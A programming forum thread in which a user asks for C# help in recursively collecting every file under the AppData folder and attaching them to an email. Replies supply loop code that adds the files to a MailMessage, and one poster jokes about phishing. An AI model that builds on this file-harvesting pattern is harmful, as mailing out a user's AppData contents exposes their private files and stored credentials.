HelpMail Attachments.

Posts 19 of 9 · Page 1 of 1
Mail Attachments.
So i want help with searching for a file within a directory.

mail.Attachments.Add (new Attachment(""));

if i would wanna do it this
Code:
FileInfo[] files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "").GetFiles("*", SearchOption.AllDirectories);
I know wich paths that's not the problem.
I would really appreciate the help
Bump!!!!!!!!!!!!!!
Documentation should become your friend.

According to MSDN:
Code:
public static string[] GetFiles(
	string path,
	string searchPattern,
	SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);
Quote Originally Posted by twas brillig View Post
Documentation should become your friend.

According to MSDN:
Code:
public static string[] GetFiles(
	string path,
	string searchPattern,
	SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);
will try out.

- - - Updated - - -

Quote Originally Posted by twas brillig View Post
Documentation should become your friend.

According to MSDN:
Code:
public static string[] GetFiles(
	string path,
	string searchPattern,
	SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);
it is saying u can't convert array to string.
pretty sure file patterns need to contain an extension, use as your signature "*.*" and tell us if it works.

- - - Updated - - -

Quote Originally Posted by SeXZeFPS View Post
it is saying u can't convert array to string.
if you don't know how to make a string array, why are you even here? you should be learning the basics of programming.
Quote Originally Posted by Silent View Post
pretty sure file patterns need to contain an extension, use as your signature "*.*" and tell us if it works.

- - - Updated - - -



if you don't know how to make a string array, why are you even here? you should be learning the basics of programming.
I know how to make a string array, lol. But attachments needs a string not an array.
Quote Originally Posted by SeXZeFPS View Post
I know how to make a string array, lol. But attachments needs a string not an array.
And that is what loops are for.
Quote Originally Posted by Silent View Post


And that is what loops are for.
Code:
        foreach (var i in Directory.GetFiles(path, "*.*", SearchOption.AllDirectories))
            {
                //Attatchemnts.Add(new Attatchment(i))
            }
Quote Originally Posted by SeXZeFPS View Post
Code:
        foreach (var i in Directory.GetFiles(path, "*.*", SearchOption.AllDirectories))
            {
                //Attachements.Add(new Attatchment(i))
            }
Code:
        string[] files = Directory.GetFiles(path),
        "*.txt",
        SearchOption.AllDirectories);
        
        MailMessage msg = new MailMessage();
                
        foreach (string file in files)
        {
            Attachment attachment;
            attachment = new Attachment(file);
            msg.Attachments.Add(attachment);
        }
You might want to follow @Silent and watch some tutorials.

gl on phishing people btw
Posts 19 of 9 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?